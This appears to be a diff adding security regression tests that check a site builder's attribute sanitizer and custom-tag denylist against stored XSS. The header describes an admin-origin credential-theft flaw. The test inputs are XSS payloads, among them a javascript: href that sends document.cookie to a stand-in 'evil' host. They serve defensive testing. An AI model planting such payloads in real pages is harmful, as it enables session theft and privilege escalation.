|
| 1 | +/** |
| 2 | + * Security regression tests: stored XSS via custom `htmlAttributes` + the |
| 3 | + * custom-tag escape hatch. |
| 4 | + * |
| 5 | + * The custom-HTML-attributes feature let an author attach arbitrary attribute |
| 6 | + * name/value pairs to base.link/button/image/container/text nodes. The name |
| 7 | + * allowlist blocked only event handlers, class, style, and reserved names, so |
| 8 | + * `href`, `srcdoc`, `formaction`, … were permitted and their values never |
| 9 | + * scheme-checked. Combined with the custom-tag escape hatch (which accepted |
| 10 | + * `iframe`, `base`, …), a low-privilege editor could store: |
| 11 | + * - `href="javascript:…"` (shadowing a module's own checked href), or |
| 12 | + * - an `<iframe srcdoc="<script>…">`, |
| 13 | + * which then executed for published-page visitors AND — because the admin |
| 14 | + * canvas renders these trusted modules same-origin as /admin with no |
| 15 | + * script-src CSP — in the admin origin when another admin opened the page |
| 16 | + * (session/credential theft, privilege escalation). |
| 17 | + * |
| 18 | + * These tests prove the single shared gate and the tag denylist close it. |
| 19 | + */ |
| 20 | +import { describe, expect, it } from 'bun:test' |
| 21 | +import { |
| 22 | + isRenderableHtmlAttributeName, |
| 23 | + sanitizeRenderableHtmlAttribute, |
| 24 | +} from '@core/htmlAttributes' |
| 25 | +import { htmlAttributesAttr } from '@modules/base/shared/htmlAttributes' |
| 26 | +import { resolveHtmlTag } from '@modules/base/utils/htmlTag' |
| 27 | + |
| 28 | +describe('sanitizeRenderableHtmlAttribute — the shared custom-attribute gate', () => { |
| 29 | + it('drops srcdoc (raw-HTML iframe sink)', () => { |
| 30 | + expect(isRenderableHtmlAttributeName('srcdoc')).toBe(false) |
| 31 | + expect(sanitizeRenderableHtmlAttribute('srcdoc', '<script>alert(1)</script>')).toBeNull() |
| 32 | + }) |
| 33 | + |
| 34 | + it('drops URL-bearing attributes carrying a dangerous scheme', () => { |
| 35 | + expect(sanitizeRenderableHtmlAttribute('href', 'javascript:alert(document.cookie)')).toBeNull() |
| 36 | + expect(sanitizeRenderableHtmlAttribute('href', 'JavaScript:alert(1)')).toBeNull() |
| 37 | + // browser tab/newline URL normalisation is applied before the scheme test |
| 38 | + expect(sanitizeRenderableHtmlAttribute('href', 'java\tscript:alert(1)')).toBeNull() |
| 39 | + expect(sanitizeRenderableHtmlAttribute('src', 'data:text/html,<script>alert(1)</script>')).toBeNull() |
| 40 | + expect(sanitizeRenderableHtmlAttribute('formaction', 'vbscript:msgbox(1)')).toBeNull() |
| 41 | + expect(sanitizeRenderableHtmlAttribute('xlink:href', 'javascript:alert(1)')).toBeNull() |
| 42 | + }) |
| 43 | + |
| 44 | + it('drops event handlers, class, and style', () => { |
| 45 | + expect(sanitizeRenderableHtmlAttribute('onclick', 'steal()')).toBeNull() |
| 46 | + expect(sanitizeRenderableHtmlAttribute('class', 'x')).toBeNull() |
| 47 | + expect(sanitizeRenderableHtmlAttribute('style', 'x')).toBeNull() |
| 48 | + }) |
| 49 | + |
| 50 | + it('keeps ordinary attributes and safe URLs unchanged', () => { |
| 51 | + expect(sanitizeRenderableHtmlAttribute('title', 'Hello world')).toBe('Hello world') |
| 52 | + expect(sanitizeRenderableHtmlAttribute('aria-label', 'Close')).toBe('Close') |
| 53 | + expect(sanitizeRenderableHtmlAttribute('data-foo', 'bar')).toBe('bar') |
| 54 | + expect(sanitizeRenderableHtmlAttribute('href', 'https://example.com/page')).toBe('https://example.com/page') |
| 55 | + expect(sanitizeRenderableHtmlAttribute('href', '/relative/path')).toBe('/relative/path') |
| 56 | + }) |
| 57 | +}) |
| 58 | + |
| 59 | +describe('htmlAttributesAttr — publisher string emit funnels through the gate', () => { |
| 60 | + it('emits only the safe attribute, dropping javascript: href and srcdoc', () => { |
| 61 | + const out = htmlAttributesAttr({ |
| 62 | + href: 'javascript:fetch("//evil/?c="+document.cookie)', |
| 63 | + srcdoc: '<script>alert(document.domain)</script>', |
| 64 | + title: 'ok', |
| 65 | + }) |
| 66 | + expect(out).toBe(' title="ok"') |
| 67 | + }) |
| 68 | +}) |
| 69 | + |
| 70 | +describe('resolveHtmlTag — custom-tag escape hatch rejects dangerous elements', () => { |
| 71 | + it.each(['iframe', 'script', 'object', 'embed', 'base', 'link', 'meta', 'style', 'frame', 'frameset', 'applet'])( |
| 72 | + 'coerces a dangerous custom tag to div: %s', |
| 73 | + (tag) => { |
| 74 | + expect(resolveHtmlTag('custom', tag)).toBe('div') |
| 75 | + expect(resolveHtmlTag('custom', tag.toUpperCase())).toBe('div') |
| 76 | + }, |
| 77 | + ) |
| 78 | + |
| 79 | + it('still allows benign custom tags and built-ins', () => { |
| 80 | + expect(resolveHtmlTag('custom', 'aside')).toBe('aside') |
| 81 | + expect(resolveHtmlTag('custom', 'figure')).toBe('figure') |
| 82 | + expect(resolveHtmlTag('custom', 'my-widget')).toBe('my-widget') |
| 83 | + expect(resolveHtmlTag('section', undefined)).toBe('section') |
| 84 | + }) |
| 85 | +}) |
0 commit comments